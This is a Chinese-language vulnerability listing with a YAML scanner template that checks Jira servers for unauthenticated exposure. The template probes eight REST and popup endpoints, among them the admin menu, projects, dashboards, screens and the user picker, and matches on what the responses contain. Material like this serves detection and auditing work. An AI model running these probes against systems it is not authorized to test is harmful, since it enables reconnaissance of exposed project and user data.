jira-unauthenticated: Jira Unauthenticated Admin Projects

日期: 2025-08-01 | 影响软件: jira | POC: 已公开

漏洞描述

Jira Unauthenticated Admin Projects

PoC代码[已公开]

id: jira-unauthenticated

info:
  name: Jira Unauthenticated Admin Projects
  author: TESS
  severity: info
  verfied: true
  description: |-
    Jira Unauthenticated Admin Projects
  tags: jira,unauth
  created: 2023/07/07

rules:
  r0:
    request:
      method: GET
      path: /rest/menu/latest/admin
    expression: response.status == 200 && response.body.bcontains(b'key') && response.body.bcontains(b'link') && response.body.bcontains(b'label') && response.body.bcontains(b'self') && response.headers["set-cookie"].icontains("atlassian.xsrf.token")
  r1:
    request:
      method: GET
      path: /rest/api/2/dashboard?maxResults=100
    expression: response.status == 200 && response.body.bcontains(b'dashboards') && response.body.bcontains(b'startAt') && response.body.bcontains(b'maxResults')
  r2:
    request:
      method: GET
      path: /rest/config/1.0/directory
      follow_redirects: true
    expression: response.status == 200 && response.body.bcontains(b'jaxbDirectoryContents')
  r3:
    request:
      method: GET
      path: /rest/api/2/projectCategory?maxResults=1000
    expression: response.status == 200 && response.body.bcontains(b'self') && response.body.bcontains(b'description') && response.body.bcontains(b'name')  && response.headers["set-cookie"].icontains("atlassian.xsrf.token")
  r4:
    request:
      method: GET
      path: /rest/api/2/project?maxResults=100
    expression: response.status == 200 && response.body.bcontains(b'projects') && response.body.bcontains(b'startAt') && response.body.bcontains(b'maxResults')
  r5:
    request:
      method: GET
      path: /rest/api/2/resolution
    expression: response.status == 200 && response.body.bcontains(b'self') && response.body.bcontains(b'description') && response.body.bcontains(b'name') && response.headers["set-cookie"].icontains("atlassian.xsrf.token")
  r6:
    request:
      method: GET
      path: /rest/api/2/screens
    expression: response.status == 200 && response.body.bcontains(b'"id":') && response.body.bcontains(b'"name":') && response.body.bcontains(b'"description":')
  r7:
    request:
      method: GET
      path: /secure/popups/UserPickerBrowser.jspa
    expression: response.body.bcontains(b'user-picker')
expression: r0() || r1() || r2() || r3() || r4() || r5() || r6() || r7()

相关漏洞推荐